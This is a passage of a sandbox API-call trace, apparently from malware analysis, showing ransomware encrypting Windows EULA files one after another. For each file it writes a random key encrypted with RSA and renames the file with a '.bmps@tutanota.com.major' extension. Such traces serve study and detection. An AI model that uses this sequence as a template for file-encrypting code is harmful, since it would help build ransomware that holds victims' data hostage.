lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.069] CloseHandle (hObject=0x6e8) returned 1 [0157.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.069] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pt-br.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pt-br.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0157.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654678 | out: hHeap=0x570000) returned 1 [0157.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653a48 | out: hHeap=0x570000) returned 1 [0157.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0157.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.071] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.072] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm", dwFileAttributes=0x80) returned 1 [0157.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6541c8 [0157.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0157.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6541c8 | out: hHeap=0x570000) returned 1 [0157.072] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.072] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=81812) returned 1 [0157.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13f94) returned 0x2e60f28 [0157.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x13f94) returned 0x6548b8 [0157.073] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x13f94, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x13f94, lpOverlapped=0x0) returned 1 [0157.084] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-81812, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.084] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x13f94, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x13f94, lpOverlapped=0x0) returned 1 [0157.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.085] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.086] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x13f94 [0157.086] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.086] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.086] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.086] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.087] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.087] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.087] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="hA5JbVdjBz/bC4X9ENAGkHHTtHJ6bX05Wjr1r0W6k+flloMWW+bx47tvR0Ktb6rS\n2k2Y9qjoiuPHcHi46O9/nVHkz4n0qsoKwp7DBXlHVe0oBMHj58wmjkx0WUYaI3Ab\ne2fAKQLh/eueB20Szva5iO5gx8Xiq2472qmB6qzGPgHUE4q+an51etJtMrcpJDS0\npgxCmlqUilL/5lXJqiEKOXGZjFQ75MgvMfFHmZYJjZ82R0G1BZCnPGaWSGecxb9r\nI9MJGklRd8OHZ9fmL0mN5/U9c3mDGrC5P5CFM3iQX2kqHXsDSsu55u5nA44xEOWQ\neYMDDyYQHwsnQCja7CrJug==\n", pcchString=0x2e3f9a8) returned 1 [0157.087] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.087] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.087] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.087] CloseHandle (hObject=0x6e8) returned 1 [0157.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.088] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_pl-pl.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_pl-pl.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0157.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0157.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0157.329] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654060 | out: hHeap=0x570000) returned 1 [0157.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0157.329] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0157.329] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.329] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm", dwFileAttributes=0x80) returned 1 [0157.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653a48 [0157.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0157.331] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653a48 | out: hHeap=0x570000) returned 1 [0157.331] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.331] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=67224) returned 1 [0157.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10698) returned 0x2e60f28 [0157.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10698) returned 0x6548b8 [0157.332] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x10698, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x10698, lpOverlapped=0x0) returned 1 [0157.408] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-67224, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.408] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x10698, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10698, lpOverlapped=0x0) returned 1 [0157.408] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.408] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.408] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10698 [0157.408] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.408] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.408] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.408] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.409] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.409] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="geFArhPJKx/+ufUwXMHGkrdY0eMNQLGouAmOv1IGxbc1u37uu2RlIHYVU35axRuB\nJ9b6AoXbms9/WHrs/Oy8Pe8x7cTYtjcHGcaIroYIIrjZHrauGlwzoFqvrcGbULHI\nZyTR1OSmJkgKW8QWLhgZfbEfPP8lQ7UiXmc5VvT6B5mycGXu22tvssmUpnsPyfWV\nhATkUvnQJqTRVBGWAtxrXZkuuQcL1mdH6Uthhgr+wel9BfI7wb3y/tqAqEq2eERL\nylcPmqk9lIsTLfy8IQyjMqEM6geE4rjhedo2daDkN8gCeAKfHUy9QEYTZSw0MquN\nIkVvUFCCsjUXbcaL/M72Sg==\n", pcchString=0x2e3f9a8) returned 1 [0157.409] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.409] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.409] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.409] CloseHandle (hObject=0x6e8) returned 1 [0157.409] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.409] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nl-nl.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nl-nl.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0157.410] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0157.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0157.411] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653bb0 | out: hHeap=0x570000) returned 1 [0157.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653bb0 [0157.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0157.411] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.411] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm", dwFileAttributes=0x80) returned 1 [0157.411] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x6546f0 [0157.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0b10 [0157.412] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6546f0 | out: hHeap=0x570000) returned 1 [0157.412] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.412] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=67188) returned 1 [0157.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10674) returned 0x2e60f28 [0157.412] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10674) returned 0x6548b8 [0157.412] ReadFile (in: hFile=0x6e8, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x10674, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x10674, lpOverlapped=0x0) returned 1 [0157.432] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-67188, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.432] WriteFile (in: hFile=0x6e8, lpBuffer=0x6548b8*, nNumberOfBytesToWrite=0x10674, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10674, lpOverlapped=0x0) returned 1 [0157.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.432] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10674 [0157.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.433] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.433] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.433] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.433] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.433] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="eEzxOclKMcxRN7kjnsSeXwBTKK1tqKuywhvaeB6ijA/BAxr8qRzQ7AgudCeMp1M2\nkTeY5QkaHHBTXmWdDD+1FeNyzcER6E8RXg5fZyuxZ+6y6xPLYFhOIysYnNps5qUr\njMVny1NX+2A2d9u4NomIZlkmryh+Rn+sJN84Lg8pXDhuwOSQ4f8/dJAt9lWjwpBG\nWtVD88pgZPKJ2m28iaU4ImUNrnKFUGOrnQBAVryZ1jLXxzz4NfRkInDWV7wWi2IA\n4YArlxl+4wpc3ViFl4pmBVKjbWvWuhxnGK7fxbHEDCh4IzUQXzLYxB5cmpKfTj9P\nDWwoLZXwtCkRJmCb6uE3TQ==\n", pcchString=0x2e3f9a8) returned 1 [0157.433] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.433] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.433] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.433] CloseHandle (hObject=0x6e8) returned 1 [0157.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.434] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_nb-no.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_nb-no.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0157.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccad0 | out: hHeap=0x570000) returned 1 [0157.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653bb0 | out: hHeap=0x570000) returned 1 [0157.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653b38 | out: hHeap=0x570000) returned 1 [0157.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ac0 [0157.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cc828 [0157.435] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.435] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm", dwFileAttributes=0x80) returned 1 [0157.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653fe8 [0157.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0157.436] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653fe8 | out: hHeap=0x570000) returned 1 [0157.436] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6e8 [0157.436] GetFileSizeEx (in: hFile=0x6e8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=83909) returned 1 [0157.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x147c5) returned 0x6548b8 [0157.436] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x147c5) returned 0x2e60f28 [0157.436] ReadFile (in: hFile=0x6e8, lpBuffer=0x6548b8, nNumberOfBytesToRead=0x147c5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6548b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x147c5, lpOverlapped=0x0) returned 1 [0157.464] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=-83909, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0157.465] WriteFile (in: hFile=0x6e8, lpBuffer=0x2e60f28*, nNumberOfBytesToWrite=0x147c5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesWritten=0x2e3f9b4*=0x147c5, lpOverlapped=0x0) returned 1 [0157.465] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548b8 | out: hHeap=0x570000) returned 1 [0157.465] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0157.465] SetFilePointer (in: hFile=0x6e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x147c5 [0157.466] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.466] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.466] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0157.466] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0157.466] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0157.466] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0157.467] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="n7cMylnQeXazbw16/lye84FuMdrSipuZRGzzHvJ6xCYh6p346LmGdWgtCvlqLfZx\n2PtbROBWOGonIZx+MFiMJ/y83vLsChIvampdbvaF/yCPdnxTOCn+gH1hFqWMTLMu\nueP/9hwKQ+NKDVz8f1XcSflaiVYq5Rqic0SS1n5/R+4xrm9+4TnTBfWARhu0tD9s\n9D1oBqTQUN4iNFrkBPwWoMj2xUUVinjvcAzdUrugScAsYpWw5JNIV4OKtRN1gk08\nMHEYlwVddxO+OYEV6imzLIe3SRxH3Oj45M5FCadK7ICqjKvY2PckCJI6+61eHNiY\nesq/yubuUvI1wenvoZJjGQ==\n", pcchString=0x2e3f9a8) returned 1 [0157.467] WriteFile (in: hFile=0x6e8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0157.467] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0157.467] WriteFile (in: hFile=0x6e8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0157.467] CloseHandle (hObject=0x6e8) returned 1 [0157.467] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0157.467] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm"), lpNewFileName="\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_lv-lv.htm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_lv-lv.htm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0157.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0157.468] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc828 | out: hHeap=0x570000) returned 1 [0157.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653ac0 | out: hHeap=0x570000) returned 1 [0157.469] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x653e08 | out: hHeap=0x570000) returned 1 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x653ac0 [0157.469] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0157.469] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0157.469] SetFileAttributesW 